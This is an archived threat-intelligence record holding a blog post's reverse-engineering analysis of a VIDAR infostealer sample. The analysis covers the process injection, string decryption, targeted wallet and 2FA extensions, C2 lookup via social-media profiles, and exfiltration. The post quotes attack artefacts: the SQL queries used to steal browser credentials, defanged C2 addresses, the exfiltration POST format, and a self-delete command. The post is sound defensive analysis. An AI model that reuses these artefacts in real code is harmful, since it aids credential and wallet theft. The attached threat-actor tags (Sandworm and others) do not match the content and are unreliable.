{
	"id": "7d3fefe4-dd44-46e6-be2e-76d4fde4d832",
	"created_at": "2026-04-06T01:29:23.477943Z",
	"updated_at": "2026-04-10T03:37:09.250402Z",
	"deleted_at": null,
	"sha1_hash": "ee9c5cedd128444dceb37c51084c9096620cdb3d",
	"title": "Analyzing a VIDAR Infostealer Sample",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 686752,
	"plain_text": "Analyzing a VIDAR Infostealer Sample\r\nArchived: 2026-04-06 00:22:05 UTC\r\nIntroduction\r\nWhile reviewing samples submitted to Any.Run, I came across a binary that appeared to inject into a target\r\nprocess before performing some suspicious HTTP requests. After further analysis, this binary was found to be\r\nconsistent with the VIDAR infostealer. This article aims to explain exactly how the infostealer works, the loader\r\nchain, what it attempts to steal, and how it exfiltrates data stolen from the host in a short time without leaving a\r\ntrace.\r\nSince this sample already had a dynamic, sandbox run within Any.Run, I decided to download a copy and attempt\r\nto reverse engineer it with the aim of understanding more about how it worked, what it was designed to do, and to\r\nattempt to identify the malware family.\r\nThe sample being analyzed in this post has the following file hashes:\r\nMD5: 9BB9FD7110158BEA15B3EB3881C52606\r\nSHA1: F545BF2A5E310ED8E9A8F553DA11B5C03D859A79\r\nSHA256: F2FEEFF2C03FE54E6F8415390CFA68671576D4CA598C127B5C73B60864E7372B\r\nThe entire infection chain and malware operation can be summarized at a high level by this diagram:\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 1 of 16\n\nAbout VIDAR\r\nAlthough this is not unique to the VIDAR malware family, this infostealer performs a smash-and-grab approach to\r\nharvesting data by harvesting as much data from the host and exfiltrating as quickly as possible. Public reporting\r\nshows that delivery mechanisms for the VIDAR infostealer include fake software installers, Windows 11 installers\r\nand even malicious Microsoft help files delivered via phishing.\r\nSince the service provided to the customers of VIDAR exists only to facilitate payload configuration, generation\r\nand C2, it is left to the customer to get the malware on to systems; whether themselves or via a third-party\r\nmalware distribution service. An example of such a malware distribution service is a group Microsoft tracks as\r\nDEV-0569, who leverage techniques such as malvertising, phishing etc. to distribute BATLOADER; a separate\r\nmalware designed to deliver additional payloads, including VIDAR, ROYAL ransomware and COBALT STRIKE.\r\nLoader Analysis\r\nBased on the sandbox run, the binary appears to spawn a child process instance of AppLaunch.exe , which is a\r\nlegitimate binary and part of the .NET framework. The suspicious activity performed by the malware then appears\r\nto originate from this legitimate process, which is a good indicator that some form of process injection is\r\noccurring.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 2 of 16\n\nInitial Assessment\r\nThe binary being analyzed has the following characteristics:\r\nMD5: 9BB9FD7110158BEA15B3EB3881C52606\r\nSHA1: F545BF2A5E310ED8E9A8F553DA11B5C03D859A79\r\nSHA256: F2FEEFF2C03FE54E6F8415390CFA68671576D4CA598C127B5C73B60864E7372B\r\nCompiled Timestamp: Fri Dec 23 14:09:41 2022 UTC\r\nLinker: Linker GNU linker ld (GNU Binutils)\r\nThe executable itself has very few imports, which indicates that there is some form of obfuscation going on to\r\nconceal the malware’s true purpose and functionality.\r\nFirst Stage Loader\r\nThis first loader works by XOR decrypting at runtime both the second stage malware, and an additional loader\r\nshellcode, which loads the final stage payload. It then stores a pointer to the decrypted loader shellcode in the\r\nregister edx , that was previously made executable using VirtualProtect . Next, it pushes the parameters to be\r\npassed to the loader function (consisting of a pointer to the decrypted second stage payload and a filepath to the\r\ninjection target) on to the stack before executing it with a call edx instruction.\r\nSecond Stage Loader\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 3 of 16\n\nThe second stage loader performs the process injection to load the final stage payload into memory. In this case, it\r\nused a process hollowing but not really approach to injecting the VIDAR binary into an AppLaunch.exe process.\r\nThe process injection method uses the following sequence of API calls:\r\nNtCreateUserProcess\r\nVirtualAlloc\r\nVirtualAllocEx\r\nWriteProcessMemory\r\nResumeThread\r\nFirstly, NtCreateUserProcess is called with the following arguments to spawn the process injection target in a\r\nsuspended state.\r\nNtCreateUserProcess is an undocumented function, however more information about this function can be found\r\nhere, and has been well documented by security researchers. For the purposes of this loader, two important\r\narguments are passed:\r\nCreateThreadFlags , which is set to 0x01 , and corresponds to starting the process in a suspended state.\r\nProcessParameters , which is a RTL_USER_PROCESS_PARAMETERS structure, and within it the image path\r\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe is provided.\r\nNext, the loader calls both VirtualAlloc and VirtualAllocEx to allocate a region in the memory space of the\r\ntarget process for the final payload to be injected.\r\nVirtualAlloc Arguments\r\nVirtualAllocEx Arguments\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 4 of 16\n\nAs per the documentation for these functions, both calls pass in the same arguments. The only difference being\r\nthat VirtualAlloc is not provided a lpAddress pointer, which results in the function returning a pointer to the\r\nallocated memory region, whereas the hProcess argument provided to VirtualAllocEx is 0x009C . Aside from\r\nthose differences, the arguments provided to both functions are the same:\r\ndwSize : 0x67000 , which corresponds to 421888 bytes.\r\nflAllocationType : 0x03000 , which corresponds to both committing and reserving the address range in\r\none step.\r\nflProtect : 0x40 , which corresponds to read, write and execute ( RWX ) permissions.\r\nThese API calls serve to allocate a region in memory for the target AppLaunch.exe process that is readable,\r\nwritable and executable, which allows the loader to finally write the bytes for the finaly payload into this memory\r\nregion within the target process using WriteProcessMemory . Finally, the injected process is then resumed from its\r\nsuspended state using ResumeThread , which allows it to execute the injected payload.\r\nDumping the Injected Payload\r\nDumping the injected payload was straight forward using x32dbg. All that was needed was a breakpoint to be set\r\nto pause execution when the malware reaches the WriteProcessMemory call.\r\nbp WriteProcessMemory\r\nBOOL WriteProcessMemory(\r\n [in] HANDLE hProcess,\r\n [in] LPVOID lpBaseAddress,\r\n [in] LPCVOID lpBuffer,\r\n [in] SIZE_T nSize,\r\n [out] SIZE_T *lpNumberOfBytesWritten\r\n);\r\nWriteProcessMemoryArguments\r\nThe arguments passed to WriteProcessMemory correspond to the following:\r\nhProcess : 0x009C , which is the same process handle passed into the previous VirtualAllocEx\r\nfunction call.\r\nlpBaseAddress : 0x00400000 , which corresponds to the image base address in which the process\r\nmemory is written.\r\nlpBuffer : 0x02EA0000\r\nnSize : 0x67000 , which corresponds to the same 421888 bytes.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 5 of 16\n\nThe argument of interest is lpBuffer , which is the pointer to the memory region containing the bytes to be\r\nwritten to the memory space of the new process.\r\nAs shown, this memory region starts with a MZ header and DOS string, which means this memory region must\r\ncontain the binary that is being injected into AppLaunch.exe . The final stage executable payload can then be\r\nretrieved by dumping the memory region to disk.\r\nRealigning the Dumped PE\r\nWhen viewing the dumped executable in PEBear, or CFF Explorer, both programs were unable to determine the\r\npresence of any imports used by the binary. This is actually because the PE recovered from memory was in a\r\nmapped format. This caused a misalignment of section offsets within the raw executable on disk and therefore\r\nresulted in a misaligned import address table (IAT). This video explains the concept far better than I can.\r\nFortunately, we can edit the section table to unmap the sections within the executable and realign the IAT. By\r\nsetting the raw address offsets to be equivalent to the virtual address offsets, and modifying the section sizes\r\naccordingly.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 6 of 16\n\nNow the executable has been correctly aligned, the module and function imports are now readable.\r\nSince we now have an unmapped exectable, it is possible to reverse engineer and analyze the resulting payload. In\r\nthis case, the reconstructed executable is written in C++.\r\nVIDAR Infostealer Analysis\r\nOnce the dumped payload has been realigned and otherwise fixed to become a valid portable executable, the\r\nsecond stage executable has the following characteristics:\r\nMD5: 47a6959ac869f65dd31e65b1c80fa8b2\r\nSHA1: f9d9ecf59523c202bca9ac4364b2a2042f116f32\r\nSHA256: 1521e9e7b06676a62e30e046851727fe4506bdf400bcf705a426f0f98fba5701\r\nCompiled Timestamp: Mon Dec 19 12:33:40 2022 UTC\r\nCompiler: Microsoft Visual C/C++\r\nLinker: Microsoft Linker 10.0 - (Visual Studio 2010)\r\nEncrypted Strings \u0026 Module Imports\r\nThe VIDAR malware stores some of its strings, and module imports in a base64-encoded, RC4 encrypted format.\r\nBy combining the different functions in the binary, along with the decrypted and decoded strings, we arrive at a\r\nfull list of browser extensions targeted by the malware. These are mainly cryptocurrency wallets, but also include\r\ntwo factor authentication (2FA) extensions, and other password managers.\r\nBefore doing anything else, VIDAR first calls a built-in routine to base64-decode and RC4 decrypt each string\r\nbefore writing it into a memory region. A pointer to each string and module import can then be referenced by the\r\nmalware to use them.\r\nThe malware leverages the BCryptDecrypt API call to decode base64, and a custom-coded RC4 decryption\r\nfunction.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 7 of 16\n\nCryptocurrency wallets and 2FA browser extensions and applications targeted by VIDAR\r\nTronLink\r\nMetaMask\r\nBinanceChainWallet\r\nYoroi\r\nNiftyWallet\r\nMathWallet\r\nCoinbase\r\nGuarda\r\nEQUALWallet\r\nJaxxLiberty\r\nBitAppWallet\r\niWallet\r\nWombat\r\nMewCx\r\nGuildWallet\r\nRoninWallet\r\nNeoLine\r\nCloverWallet\r\nLiqualityWallet\r\nTerra_Station\r\nKeplr\r\nSollet\r\nAuroWallet\r\nPolymeshWallet\r\nICONex\r\nHarmony\r\nCoin98\r\nEVER Wallet\r\nKardiaChain\r\nTrezor Password Manager\r\nRabby\r\nPhantom\r\nBraveWallet\r\nOxygen (Atomic)\r\nPaliWallet\r\nBoltX\r\nXdefiWallet\r\nNamiWallet\r\nMaiarDeFiWallet\r\nWavesKeeper\r\nSolflare\r\nCyanoWallet\r\nKHC\r\nTezBox\r\nTemple\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 8 of 16\n\nGoby\r\nAuthenticator\r\nAuthy\r\nEOS Authenticator\r\nGAuth Authenticator\r\nTronium\r\nTrust Wallet\r\nExodus Web3 Wallet\r\nBraavos\r\nEnkrypt\r\nOKX Web3 Wallet\r\nSender\r\nHashpack\r\nEternl\r\nGeroWallet\r\nPontem Wallet\r\nPetra Wallet\r\nMartian Wallet\r\nFinnie\r\nLeap Terra\r\nMicrosoft AutoFill\r\nBitwarden\r\nKeePass Tusk\r\nKeePassXC-Browser\r\nBitwarden\r\nEthereum\\Ethereum\\\r\nElectrum\\Electrum\\wallets\\\r\nElectrumLTC\\Electrum-LTC\\wallets\\\r\nExodus\\exodus\\conf.json,window-state.json\r\n\\Exodus\\exoduswallet\\passphrase.json,seed.seco,info.seco\r\nElectronCash\\ElectronCash\\wallets\\default_wallet\r\nMultiDoge\\MultiDoge\\multidogewallet\r\nJaxx_Desktop_Old\\jaxx\\Local Storage\\file__0localstorage\r\nBinance\\Binance\\app-store.json\r\nCoinomi\\Coinomi\\wallets\\\r\n*wallets\r\n*config\r\nwallet_path\r\nSOFTWARE\\monero-project\\monero-core,\\Monero\\\r\nAlso encrypted in the binary are the SQL queries used to harvest data stored in web browsers:\r\nSQL queries used by VIDAR to harvest browser data\r\nSELECT origin_url, username_value, password_value FROM logins\r\nSELECT name, value FROM autofill\r\nSELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 9 of 16\n\nSELECT target_path, tab_url from downloads\r\nSELECT url FROM urls\r\nSELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from coo\r\nIn addition, one of the encrypted strings, C:\\ProgramData\\ is the staging directory used by the malware when it\r\ndownloads additional libraries and stages data for exfiltration. This staging directory appears to be consistent\r\nacross all VIDAR samples.\r\nRetrieving C2 Servers\r\nThe malware stores its C2 servers in an unencrypted format within the binary:\r\nhxxps://t[.]me/traduttoretg\r\nhxxps://steamcommunity[.]com/profiles/76561199445991535\r\nhxxp://5.75.253[.]16:80\r\nInterestingly, the VIDAR malware leverages legitimate services to host C2 configuration data. For example, the\r\nTelegram and Steam profile links contain IP addresses, whereas the 5.75.253[.]16 appears to be consistent with\r\nthreat actor infrastructure. This way, the malware operators can contiunously cycle C2 servers and have the\r\nmalware beacon back to each new IP address so long as the social media profiles hosting the C2 IP address remain\r\nactive.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 10 of 16\n\nThis particular VIDAR sample uses the string grundic to identify where on the webpage the C2 address is, and\r\ngrabs the string up until the ending | character.\r\nInitial C2 Callback\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 11 of 16\n\nOnce the malware has retrieved a C2 IP address from one of the social media profiles hardcoded within the binary,\r\nit then submits a HTTP GET request containing the profile ID of the affiliate. Since the VIDAR malware is sold\r\nas an infostealer-as-a-service where the cybercriminal gains access to a control panel to configure and generate the\r\nmalware, this ID is used to retrieve the configuration data set by the VIDAR customer. In this sample, the profile\r\nID is 1375 .\r\nVIDAR configuration retrieved\r\n1,1,1,1,1,36bfd46626a0b531909b016919dd1fbd,1,1,1,1,0,Default;%DOCUMENTS%\\;*.txt;50;true;movies:music:mp3;deskto\r\nDownloading Additional Libraries\r\nTo be able to perform its full credential harvesting tasks, the VIDAR malware must download additional DLL\r\nlibraries to extend its capability. For example, to interact with web browsers or use SQLite3.\r\nIn previous samples, the download of these additional libraries was achieved by sending a HTTP GET request to\r\nthe C2 server for a ZIP file named with random alphanumeric characters. In an apparent change of technique, or\r\nconfiguration, this sample retrieves the additional libraries by downloading a resource from the C2 server named\r\nupdate.zip .\r\nNevertheless, once the ZIP file containing the DLLs is downloaded, it is extracted and the DLL binaries are saved\r\nto the C:\\ProgramData staging directory. The resource update.zip contained the following DLLs:\r\nMD5 (freebl3.dll) = ef2834ac4ee7d6724f255beaf527e635\r\nMD5 (libcurl.dll) = 37f98d28e694399e068bd9071dc16133\r\nMD5 (mozglue.dll) = 8f73c08a9660691143661bf7332c3c27\r\nMD5 (msvcp140.dll) = 109f0f02fd37c84bfc7508d4227d7ed5\r\nMD5 (nss3.dll) = bfac4e3c5908856ba17d41edcd455a51\r\nMD5 (softokn3.dll) = a2ee53de9167bf0d6c019303b7ca84e5\r\nMD5 (sqlite3.dll) = e477a96c8f2b18d6b5c27bde49c990bf\r\nMD5 (vcruntime140.dll) = 7587bf9cb4147022cd5681b015183046\r\nData Exfiltration\r\nThe harvested data is then sent back to the C2 server using a HTTP POST request.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 12 of 16\n\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 13 of 16\n\nHTTP POST body\r\n------1531306219445135\r\nContent-Disposition: form-data; name=\"profile\"\r\n1375\r\n------1531306219445135\r\nContent-Disposition: form-data; name=\"profile_id\"\r\n1700\r\n------1531306219445135\r\nContent-Disposition: form-data; name=\"hwid\"\r\nd8d914bc22c31291311131-90059c37-1320-41a4-b58d-816d-806e6f6e6963\r\n------1531306219445135\r\nContent-Disposition: form-data; name=\"token\"\r\n36bfd46626a0b531909b016919dd1fbd\r\n------1531306219445135\r\nContent-Disposition: form-data; name=\"file\"\r\nUEsDBBQAAgAIAMSYl1XqxfupygAAAJMB...[truncated base64-encoded ZIP file]\r\n------1531306219445135--\r\nInterestingly, the token 36bfd46626a0b531909b016919dd1fbd matches the string contained within the initial\r\nconfig downloaded from the C2 server.\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 14 of 16\n\nThe data harvested from the host is stored within the ZIP file in the POST request body.\r\nDirectory structure of the ZIP file\r\n/History/Mozilla Firefox_qldyz51w.default.txt\r\n/Cookies/Google Chrome_Default.txt\r\n/History/Google Chrome_Default.txt\r\n/passwords.txt\r\n/information.txt\r\n/Files/Default.zip\r\n/Files/desktop.zip\r\n/screenshot.jpg\r\nIt is important to note that this is not an exhaustive list of what the ZIP file exfiltrated from every system will look\r\nlike. It will depend on both the stealer configuration set by the threat actor during the payload generation stage,\r\nand the software present on the compromised system. For example, the sample analyzed in this writeup included\r\nroutines for stealing Discord tokens, data from Telegram and even FTP and SCP clients.\r\nCleanup Operations\r\nOnce the data has been succesfully harvested and exfiltrated, the malware then deletes itself and any created files\r\nfrom the host with the following command:\r\n\"C:\\Windows\\System32\\cmd.exe\" /c timeout /t 6 \u0026 del /f /q\r\n\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" \u0026 exit\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 15 of 16\n\nSource: https://blog.jaalma.io/vidar-infostealer-analysis/\r\nhttps://blog.jaalma.io/vidar-infostealer-analysis/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.jaalma.io/vidar-infostealer-analysis/"
	],
	"report_names": [
		"vidar-infostealer-analysis"
	],
	"threat_actors": [
		{
			"id": "cf4d333d-ef79-40aa-b233-886e6de875a3",
			"created_at": "2023-12-08T02:00:05.754609Z",
			"updated_at": "2026-04-10T02:00:03.494821Z",
			"deleted_at": null,
			"main_name": "DEV-0569",
			"aliases": [
				"Storm-0569"
			],
			"source_name": "MISPGALAXY:DEV-0569",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775438963,
	"ts_updated_at": 1775792229,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ee9c5cedd128444dceb37c51084c9096620cdb3d.pdf",
		"text": "https://archive.orkl.eu/ee9c5cedd128444dceb37c51084c9096620cdb3d.txt",
		"img": "https://archive.orkl.eu/ee9c5cedd128444dceb37c51084c9096620cdb3d.jpg"
	}
}